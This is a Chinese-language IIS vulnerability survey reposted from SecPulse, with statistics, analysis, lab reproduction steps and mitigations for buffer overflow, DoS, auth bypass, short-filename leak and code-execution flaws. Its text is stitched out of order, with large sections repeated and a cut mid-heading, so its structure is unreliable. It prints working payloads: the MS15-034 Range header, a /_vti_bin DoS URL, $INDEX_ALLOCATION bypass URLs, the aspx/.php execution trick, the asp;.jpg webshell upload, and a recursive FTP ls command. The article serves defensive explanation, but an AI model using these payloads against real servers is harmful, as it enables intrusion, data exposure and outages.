Ø 漏洞分析：Windows 支持以 8.3 格式生成与 MS-DOS 兼容的（短）文件名，以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。基于Windows的IIS服务器默认根目录C:\inetpub\wwwroot下的网页脚本文件和目录符合一定条件时，会生成相应的短文件名。此时，攻击者利用HTTP的DEBUG、OPTIONS、GET、POST、HEAD、TRACE等方法携带波浪号，可以对IIS服务器短文件名进行暴力猜解，依据返回的页面信息和状态码来确认真实存在的文件名，从而获取服务器敏感信息，为下一步攻击做准备。
Ø 漏洞类型：可远程利用，可触发信息泄露
Ø 漏洞复现：
复现环境：Windows 7 x64位，默认IIS 7.5
1. 通过cmd下进入IIS网站根目录C:\inetpub\wwwroot，输入“dir /x”查看已存在的短文件名：
2. 使用公开POC或者扫描程序探测目标靶机的短文件名，成功猜解到服务器根目录短文件名称：
Ø 漏洞缓解：
1. 限制IIS服务器HTTP方法，除了必要的GET、POST方法，其他HTTP方法建议关闭，视情况开启；
2. IIS服务器文件建议使用复杂字符或者中文命名，增加后期攻击者暴力破解难度；
3. 针对已存在的IIS服务器，建议关闭NTFS 8.3文件格式的支持或者修改注册表禁用短文件名功能。
注：详细原理和解决方案请参考：https://www.freebuf.com/articles/web/172561.html
5. 代码执行漏洞
5.1 Microsoft IIS畸形文件扩展名绕过安全限制漏洞 CVE-2009-4444
5.1.1 漏洞描述：IIS服务器错误的执行了带有多个扩展名的文件中所包含的ASP代码。例如malicious.asp;.jpg被执行为了ASP文件。很多文件上传程序仅检查文件扩展名的最后部分，因此这可能导致绕过保护机制向服务器上传恶意可执行文件。
5.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 6.0
Ø 漏洞分析：此漏洞主要原因是IIS第三方上传应用没有限制文件上传格式或者限制不够严格，只检查了文件末尾的格式，导致攻击者可以将如Asp webshell伪装成malicious.asp;.jpg文件格式上传到IIS服务器。IIS的Classic ASP功能在处理asp文件时，被此畸形文件格式的分号截断了，认为是asp文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此webshell，控制IIS服务器甚至Windows宿主机器。
Ø 漏洞类型：可远程利用，文件上传绕过可触发代码执行
Ø 漏洞复现：
复现环境：Win server 2003 Sp2 32位企业版，默认IIS 6.0
1. IIS服务器根目录下创建一个名为aspwebshell.asp;.jpg的文件，用记事本打开，放入asp webshell代码（实际利用过程中是通过第三方应用上传绕过漏洞上传此文件，并设法获取此上传路径）；
2. 通过浏览器远程访问此文件，http://192.168.180.201/aspwebshell.asp;.jpg，成功执行asp webshell代码：
Ø 漏洞缓解：
1. 严格限制IIS第三方应用上传文件的格式；
2. 此漏洞仅影响IIS 6.0，其他版本解析asp文件不会被分号截断，可升级至无此漏洞的IIS版本。
5.2 (MS15-034)Microsoft IIS远程代码执行漏洞复现 CVE-2015-1635
5.2.1 漏洞描述：Microsoft Windows是美国微软（Microsoft）公司发布的一系列操作系统。Microsoft Internet Information Services（IIS）是一套运行于Microsoft Windows中的互联网基本服务。使用Microsoft IIS 6.0以上版本的Microsoft Windows的HTTP协议堆栈(HTTP.sys)中存在远程执行代码漏洞，该漏洞源于HTTP.sys文件没有正确分析经特殊设计的HTTP请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。 5.2.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 7.5、IIS 8.0、IIS 8.5
Ø 漏洞分析：
IIS进程w3wp.exe接收到HTTP请求后，将数据缓存到内核中，并整合HTTP回应头，最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Range对象的指定范围，而缓存中则包含了http文件和大小信息等。
根据公开POC，构造包含“Range: bytes=0-18446744073709551615”的HTTP请求并发送到IIS 7.5-8.5服务器，如果IIS服务器返回“Requested Range Not Satisfiable”，则存在漏洞，如果返回“The request has an invalid header name”或者没有回应，则说明漏洞已经修补或者不存在漏洞。
Ø 漏洞类型：可远程利用，可触发代码执行
Ø 漏洞复现：
复现环境：Win server 2008 R2 64位企业版，默认IIS 7.5
1. 开启IIS默认网站
2. 根据公开poc发送包含特殊设计的Range字段攻击靶机环境，成功检测到漏洞：
Ø 漏洞缓解：
1. 禁用 IIS 内核缓存，详情见微软官方公告：
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034
2. 升级IIS至IIS 10.0版本，此版本不存在此漏洞。
三、 漏洞总结
IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞，本地漏洞主要分布在信息泄露和权限提升漏洞分类，大部分漏洞利用难度较大，但是一旦成功被攻击者利用，影响的不仅仅只是IIS服务器，甚至可能是运行IIS的Windows主机。如果用户主机被利用，那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等，后果不堪设想。
如果IIS服务器的网站配置不当，攻击者可以通过IIS短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问，获取用户隐私信息。此外，不合理的上传限制也会导致攻击者上传含有恶意代码或webshell并伪装成合法的文件，进而导致IIS服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞，对IIS服务器甚至是Windows操作系统进行进一步的攻击。无论是对IIS服务器本身的服务还是该IIS服务器所处的网络环境，IIS漏洞都是一个极大的隐患，也让IIS网站管理员和不少运维人员心惊胆战。 查看全部
原文链接：https://www.secpulse.com/archives/82410.html
一、 全球第三大网络服务器
Internet Information Services（IIS，以前称为Internet Information Server）互联网信息服务是Microsoft公司提供的可扩展Web服务器，支持HTTP，HTTP/2，HTTPS，FTP，FTPS，SMTP和NNTP等。起初用于Windows NT系列，随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统，不适用于其他操作系统。
根据Netcraft在2018年9月的最新全球Web服务器报告显示，Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器，落后于Apache 34.07％和Nginx 25.45％。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病，一旦IIS出现高危漏洞，将会出现范围广、影响深的特点。
目前IIS一共发行12个版本，从IIS 1.0版本至IIS 10.0版本，IIS 1.0-4.0已经基本退出市场，IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新，IIS自身的安全性也有了较大的提升。在2005-2018年期间，IIS漏洞呈现逐年减少的趋势，同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。
IIS 版本
Win版本
IIS全球装机数量
受影响漏洞数量
IIS 1.0
Win NT 3.51
0
未统计
IIS 2.0
Win NT 4.0
0
未统计
IIS 3.0
Win NT 4.0 Sp3
0
未统计
IIS 4.0
Win NT 4.0选项包
0
未统计
IIS 5.0
Windows 2000
46,078
10个
IIS 5.1
Windows XP 系列
29,825
16个
IIS 6.0
Win 2003和Win XP Pro x64
620,360
21个
IIS 7.0
Win 2008、 Vista全系列
276,736
11个
IIS 7.5
Win 7和Win 2008 R2
3,970,245
12个
IIS 8.0
Win 8和Win 2012
344,734
4个
IIS 8.5
Win 8.1和Win 2012 R2
2,153,546
4个
IIS 10.0
Win 10和Win 2016
1,086,887
2个
从上述IIS漏洞统计表格可以看出，IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本，分别对应受影响漏洞12个、4个和2个，呈现受影响漏洞数量递减的趋势。同时，在历年的IIS版本漏洞中，IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。
二、 IIS漏洞分析
千里目实验室针对IIS近十几年（2005年以后）的35个漏洞进行和整理和分析，IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露，其中以MS15-034远程代码执行漏洞最为严重。
IIS漏洞类型
远程漏洞
本地漏洞
数量
缓冲区溢出
7
0
7
认证绕过
7
0
7
拒绝服务
5
0
5
代码执行
4
0
4
信息泄露
2
2
4
XSS注入
1
1
2
命令执行
2
0
2
权限提升
0
2
2
文件上传
2
0
2
总计
30
5
35
由上表可以看到，IIS历年漏洞主要以远程漏洞为主，占漏洞总数85.71%，本地漏洞有5个，占漏洞总数14.29%。其中5个本地漏洞分别是：(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。
以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现：
1. 缓冲区溢出漏洞
1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023
1.1.1 漏洞描述：Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话，就可以触发这个溢出，导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。
1.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0、IIS 5.1、IIS 6.0
Ø 漏洞分析：
IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表（NLST）命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下：
NLST <SPACE> <pathname> <CRLF>，此命令中的路径名应指定目录或其他特定于系统的文件组描述符；在pathname为NULL时，使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。
Microsoft Internet信息服务（IIS）中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时，易受攻击的代码会将目录路径名复制到0x9F（159）字节的基于堆栈的缓冲区中，而不进行边界验证。提供包含大于0x9F（159）字节的路径名会使堆栈缓冲区溢出，从而可能会覆盖关键进程数据（如函数返回地址）。
远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功，可能会导致受影响的FTP会话异常终止。
注意：为了成功利用此漏洞，NLST命令中指定的长路径名必须存在于目标系统上。因此，利用此漏洞的攻击可能伴随着MKD命令的使用。
Ø 漏洞类型：可远程利用，存在缓冲区溢出漏洞，可触发代码执行
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 搭建好IIS FTP靶机环境，测试anonymous默认匿名用户可用，且可创建和读写目录；
2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常：
以上somefolder为FTP服务器上正常长度文件夹，NLST命令执行成功并返回结果提示226。
3. 测试创建和NLST异常目录长度，服务器返回150，打开数据连接，成功执行命令。
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.x和6.0版本存在，升级IIS版本或者更新MS09-053补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
2. DOS拒绝服务漏洞
2.1 (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞 CVE-2005-4360
2.1.1 漏洞描述：Microsoft IIS处理某些畸形的HTTP请求时存在漏洞，远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出，导致在用户系统上执行任意代码。2.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.1
Ø 漏洞分析：IIS包括一个能够提供静态和动态内容的Web服务器组件。IIS的Web组件提供Web应用程序功能。通过Web应用程序，服务器可以在后端执行脚本，并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源，例如Perl脚本、Active Server Pages（ASP）或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。
Microsoft Internet Information Services产品的HTTP服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下，当多次请求动态链接的库资源时，受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的URL请求，因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求URL必须包含来自以下字符的有限集合中的字符（注意，不可见字符需要使用以下字符范围的URL编码形式）：
• %3f
• ”
• *
• :
• <
• >
•字符 - 的范围
请求还必须包含波形符“~”字符，后面跟一个十进制数字。
Ø 漏洞类型：可远程利用，可触发DOS攻击
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 配置IIS默认wwwroot根目录下的虚拟目录_vti_bin执行权限为“脚本和可执行文件”权限；
2. 浏览器发送恶意url远程访问靶机环境，复现成功，服务器返回500错误：
Eg:http://192.168.180.200/_vti_bin/.dll/\~0
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.1版本存在，升级IIS版本或者更新MS07-041补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限，不开启此权限的服务器不存在漏洞。
2.2 (MS09-053)Microsoft IIS FTP服务器递归列表拒绝服务漏洞 CVE-2009-2521
2.2.1 漏洞描述：IIS 5.0至7.0版本的FTP服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符(如星形标识符)的请求导致拒绝服务（守护进程崩溃）。
2.2.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0
Ø 漏洞分析：
通过包含通配符的list（ls）-R命令在Microsoft IIS FTP服务器5.0到7.0中触发拒绝服务条件，即ls "-R p*/../"命令可导致FTP服务器拒绝服务。 此漏洞利用有三个条件：
（1）一个有效的ftp帐户，拥有只读或写入权限；
（2）“FTP发布”服务必须在启动类型中配置为“手动”模式；
（3） FTP根目录下至少有一个目录。
Ø 漏洞类型：可远程利用，可触发DOS攻击
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 添加FTP服务器角色，IIS信息服务管理控制台“FTP站点下”启动FTP默认站点
2. 配置ftp默认用户anonymous/anonymous，拥有读写目录权限；
3. 目录下创建一个文件夹BB，然后输入ls "-R p*/../"，成功复现DOS拒绝服务，ftp连接关闭：
中间很多重复：
p*/../BB:
BB
FTP服务器提示“远程主机关闭连接”，FTP拒绝服务，漏洞复现成功。
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.0-7.0版本存在，升级IIS版本或者更新MS09-053补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
3. 认证绕过漏洞3.1 IIS认证绕过和源码泄露漏洞复现
3.1.1 漏洞描述：Microsoft IIS(Internet Information Server)是Microsoft Windows系统默认自带的Web服务器软件，其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞，该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问，且有助于进一步攻击。
3.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 6.0、IIS 7.5
Ø 漏洞分析：Microsoft IIS由于无法正确清理用户提供的输入，容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过：
（1） 安装了PHP的Microsoft IIS 6.0身份验证绕过：
IIS / 6.0加载受保护（如:admin）目录中的PHP文件需要用户认证信息（用户名和密码访问），如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面，存在绕过认证并可能访问管理文件等特殊情况，导致IIS服务器重要信息泄露；
Eg:/admin::$INDEX_ALLOCATION/index.php
（2） Microsoft IIS 7.5经典ASP身份验证绕过：
配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5，通过将“：$ i30：$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面，可以绕过经典的ASP文件访问限制；
Eg:举例：/admin:$i30:$INDEX_ALLOCATION/index.asp
（3） Microsoft IIS 7.5 .NET源代码公开和身份验证绕过：
在配置中安装了PHP的Microsoft IIS / 7.5，存在认证绕过漏洞；
Eg：http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
除此之外，通过将/.php附加到ASPX文件（或使用未通过请求过滤规则阻止的.NET框架的任何其他文件，如错误配置：.CS，.VB等文件）。IIS 7.5使用文件的完整源代码进行响应，并将其作为PHP代码执行。这意味着通过使用上传功能，可以（在特殊情况下）执行任意PHP代码。
Eg: http://<victimIIS75>/Default.aspx/.php （php任意代码执行）
Ø 漏洞类型：可远程利用，可触发认证绕过和信息泄露
Ø 漏洞复现：
复现环境：Windows 7 x64位，默认IIS 7.5
以下验证复现上述（3）的漏洞，（1）和（2）类似此处不做验证：
1. IIS网站根目录下创建admin用户目录，关闭默认用户认证，换言之，访问/admin/index.php目录下的文件需要认证信息，认证失败或者无认证信息将会返回401未授权页面；
2. 配置完成后，重启IIS服务器，浏览器远程访问此文件：http://192.168.180.207/admin/index.php，默认IIS账户访问提示401未授权；
3. 接下来，利用:$i30:$INDEX_ALLOCATION来绕过此限制，浏览器远程访问：
http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php，成功绕过并访问到敏感信息；
4. 除此之外，如果目标站点限制上传和访问php文件，可以利用上传aspx（.net支持解析的文件类型）文件逃避限制，将其当做php代码执行；
Eg：网站目录下有一个index.aspx的文件，里面写有php代码，正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码，通过在末尾加上index.aspx/.php形式访问将会成功执行php代码；
a. 正常绕过访问index.aspx文件，页面返回乱码，未执行phpinfo代码：
b. 通过在末尾加上/.php，成功执行php代码：
Ø 漏洞缓解：
1. IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响；
2. 攻击者需要事先获取IIS服务器受认证保护目录；
4. 信息泄露漏洞4.1 Microsoft IIS 短文件名泄露漏洞
4.1.1 漏洞描述：IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定（SFN）的代字符（~）波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称（不应该可被访问）。攻击者可以找到通常无法从外部直接访问的重要文件，并获取有关应用程序基础结构的信息。
4.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0-10.0全系列版本
Ø 漏洞分析：Windows 支持以 8.3 格式生成与 MS-DOS 兼容的（短）文件名，以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。基于Windows的IIS服务器默认根目录C:\inetpub\wwwroot下的网页脚本文件和目录符合一定条件时，会生成相应的短文件名。此时，攻击者利用HTTP的DEBUG、OPTIONS、GET、POST、HEAD、TRACE等方法携带波浪号，可以对IIS服务器短文件名进行暴力猜解，依据返回的页面信息和状态码来确认真实存在的文件名，从而获取服务器敏感信息，为下一步攻击做准备。
Ø 漏洞类型：可远程利用，可触发信息泄露
Ø 漏洞复现：
复现环境：Windows 7 x64位，默认IIS 7.5
1. 通过cmd下进入IIS网站根目录C:\inetpub\wwwroot，输入“dir /x”查看已存在的短文件名：
2. 使用公开POC或者扫描程序探测目标靶机的短文件名，成功猜解到服务器根目录短文件名称：
Ø 漏洞缓解：
1. 限制IIS服务器HTTP方法，除了必要的GET、POST方法，其他HTTP方法建议关闭，视情况开启；
2. IIS服务器文件建议使用复杂字符或者中文命名，增加后期攻击者暴力破解难度；
3. 针对已存在的IIS服务器，建议关闭NTFS 8.3文件格式的支持或者修改注册表禁用短文件名功能。
注：详细原理和解决方案请参考：https://www.freebuf.com/articles/web/172561.html
5. 代码执行漏洞
5.1 Microsoft IIS畸形文件扩展名绕过安全限制漏洞 CVE-2009-4444
5.1.1 漏洞描述：IIS服务器错误的执行了带有多个扩展名的文件中所包含的ASP代码。例如malicious.asp;.jpg被执行为了ASP文件。很多文件上传程序仅检查文件扩展名的最后部分，因此这可能导致绕过保护机制向服务器上传恶意可执行文件。
5.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 6.0
Ø 漏洞分析：此漏洞主要原因是IIS第三方上传应用没有限制文件上传格式或者限制不够严格，只检查了文件末尾的格式，导致攻击者可以将如Asp webshell伪装成malicious.asp;.jpg文件格式上传到IIS服务器。IIS的Classic ASP功能在处理asp文件时，被此畸形文件格式的分号截断了，认为是asp文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此webshell，控制IIS服务器甚至Windows宿主机器。
Ø 漏洞类型：可远程利用，文件上传绕过可触发代码执行
Ø 漏洞复现：
复现环境：Win server 2003 Sp2 32位企业版，默认IIS 6.0
1. IIS服务器根目录下创建一个名为aspwebshell.asp;.jpg的文件，用记事本打开，放入asp webshell代码（实际利用过程中是通过第三方应用上传绕过漏洞上传此文件，并设法获取此上传路径）；
2. 通过浏览器远程访问此文件，http://192.168.180.201/aspwebshell.asp;.jpg，成功执行asp webshell代码：
Ø 漏洞缓解：
1. 严格限制IIS第三方应用上传文件的格式；
2. 此漏洞仅影响IIS 6.0，其他版本解析asp文件不会被分号截断，可升级至无此漏洞的IIS版本。
5.2 (MS15-034)Microsoft IIS远程代码执行漏洞复现 CVE-2015-1635
5.2.1 漏洞描述：Microsoft Windows是美国微软（Microsoft）公司发布的一系列操作系统。Microsoft Internet Information Services（IIS）是一套运行于Microsoft Windows中的互联网基本服务。使用Microsoft IIS 6.0以上版本的Microsoft Windows的HTTP协议堆栈(HTTP.sys)中存在远程执行代码漏洞，该漏洞源于HTTP.sys文件没有正确分析经特殊设计的HTTP请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。 5.2.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 7.5、IIS 8.0、IIS 8.5
Ø 漏洞分析：
IIS进程w3wp.exe接收到HTTP请求后，将数据缓存到内核中，并整合HTTP回应头，最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Range对象的指定范围，而缓存中则包含了http文件和大小信息等。
根据公开POC，构造包含“Range: bytes=0-18446744073709551615”的HTTP请求并发送到IIS 7.5-8.5服务器，如果IIS服务器返回“Requested Range Not Satisfiable”，则存在漏洞，如果返回“The request has an invalid header name”或者没有回应，则说明漏洞已经修补或者不存在漏洞。
Ø 漏洞类型：可远程利用，可触发代码执行
Ø 漏洞复现：
复现环境：Win server 2008 R2 64位企业版，默认IIS 7.5
1. 开启IIS默认网站
2. 根据公开poc发送包含特殊设计的Range字段攻击靶机环境，成功检测到漏洞：
Ø 漏洞缓解：
1. 禁用 IIS 内核缓存，详情见微软官方公告：
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034
2. 升级IIS至IIS 10.0版本，此版本不存在此漏洞。
三、 漏洞总结
IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞，本地漏洞主要分布在信息泄露和权限提升漏洞分类，大部分漏洞利用难度较大，但是一旦成功被攻击者利用，影响的不仅仅只是IIS服务器，甚至可能是运行IIS的Windows主机。如果用户主机被利用，那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等，后果不堪设想。
如果IIS服务器的网站配置不当，攻击者可以通过IIS短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问，获取用户隐私信息。此外，不合理的上传限制也会导致攻击者上传含有恶意代码或webshell并伪装成合法的文件，进而导致IIS服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞，对IIS服务器甚至是Windows操作系统进行进一步的攻击。无论是对IIS服务器本身的服务还是该IIS服务器所处的网络环境，IIS漏洞都是一个极大的隐患，也让IIS网站管理员和不少运维人员心惊胆战。 查看全部
本文转自安全脉搏，为千里目实验室所写。
原文链接：https://www.secpulse.com/archives/82410.html
一、 全球第三大网络服务器
Internet Information Services（IIS，以前称为Internet Information Server）互联网信息服务是Microsoft公司提供的可扩展Web服务器，支持HTTP，HTTP/2，HTTPS，FTP，FTPS，SMTP和NNTP等。起初用于Windows NT系列，随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统，不适用于其他操作系统。
根据Netcraft在2018年9月的最新全球Web服务器报告显示，Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器，落后于Apache 34.07％和Nginx 25.45％。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病，一旦IIS出现高危漏洞，将会出现范围广、影响深的特点。
目前IIS一共发行12个版本，从IIS 1.0版本至IIS 10.0版本，IIS 1.0-4.0已经基本退出市场，IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新，IIS自身的安全性也有了较大的提升。在2005-2018年期间，IIS漏洞呈现逐年减少的趋势，同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。
IIS 版本
Win版本
IIS全球装机数量
受影响漏洞数量
IIS 1.0
Win NT 3.51
0
未统计
IIS 2.0
Win NT 4.0
0
未统计
IIS 3.0
Win NT 4.0 Sp3
0
未统计
IIS 4.0
Win NT 4.0选项包
0
未统计
IIS 5.0
Windows 2000
46,078
10个
IIS 5.1
Windows XP 系列
29,825
16个
IIS 6.0
Win 2003和Win XP Pro x64
620,360
21个
IIS 7.0
Win 2008、 Vista全系列
276,736
11个
IIS 7.5
Win 7和Win 2008 R2
3,970,245
12个
IIS 8.0
Win 8和Win 2012
344,734
4个
IIS 8.5
Win 8.1和Win 2012 R2
2,153,546
4个
IIS 10.0
Win 10和Win 2016
1,086,887
2个
从上述IIS漏洞统计表格可以看出，IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本，分别对应受影响漏洞12个、4个和2个，呈现受影响漏洞数量递减的趋势。同时，在历年的IIS版本漏洞中，IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。
二、 IIS漏洞分析
千里目实验室针对IIS近十几年（2005年以后）的35个漏洞进行和整理和分析，IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露，其中以MS15-034远程代码执行漏洞最为严重。
IIS漏洞类型
远程漏洞
本地漏洞
数量
缓冲区溢出
7
0
7
认证绕过
7
0
7
拒绝服务
5
0
5
代码执行
4
0
4
信息泄露
2
2
4
XSS注入
1
1
2
命令执行
2
0
2
权限提升
0
2
2
文件上传
2
0
2
总计
30
5
35
由上表可以看到，IIS历年漏洞主要以远程漏洞为主，占漏洞总数85.71%，本地漏洞有5个，占漏洞总数14.29%。其中5个本地漏洞分别是：(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。
以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现：
1. 缓冲区溢出漏洞
1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023
1.1.1 漏洞描述：Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话，就可以触发这个溢出，导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。
1.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0、IIS 5.1、IIS 6.0
Ø 漏洞分析：
IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表（NLST）命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下：
NLST <SPACE> <pathname> <CRLF>，此命令中的路径名应指定目录或其他特定于系统的文件组描述符；在pathname为NULL时，使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。
Microsoft Internet信息服务（IIS）中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时，易受攻击的代码会将目录路径名复制到0x9F（159）字节的基于堆栈的缓冲区中，而不进行边界验证。提供包含大于0x9F（159）字节的路径名会使堆栈缓冲区溢出，从而可能会覆盖关键进程数据（如函数返回地址）。
远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功，可能会导致受影响的FTP会话异常终止。
注意：为了成功利用此漏洞，NLST命令中指定的长路径名必须存在于目标系统上。因此，利用此漏洞的攻击可能伴随着MKD命令的使用。
Ø 漏洞类型：可远程利用，存在缓冲区溢出漏洞，可触发代码执行
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 搭建好IIS FTP靶机环境，测试anonymous默认匿名用户可用，且可创建和读写目录；
2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常：
以上somefolder为FTP服务器上正常长度文件夹，NLST命令执行成功并返回结果提示226。
3. 测试创建和NLST异常目录长度，服务器返回150，打开数据连接，成功执行命令。
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.x和6.0版本存在，升级IIS版本或者更新MS09-053补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
2. DOS拒绝服务漏洞
2.1 (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞 CVE-2005-4360
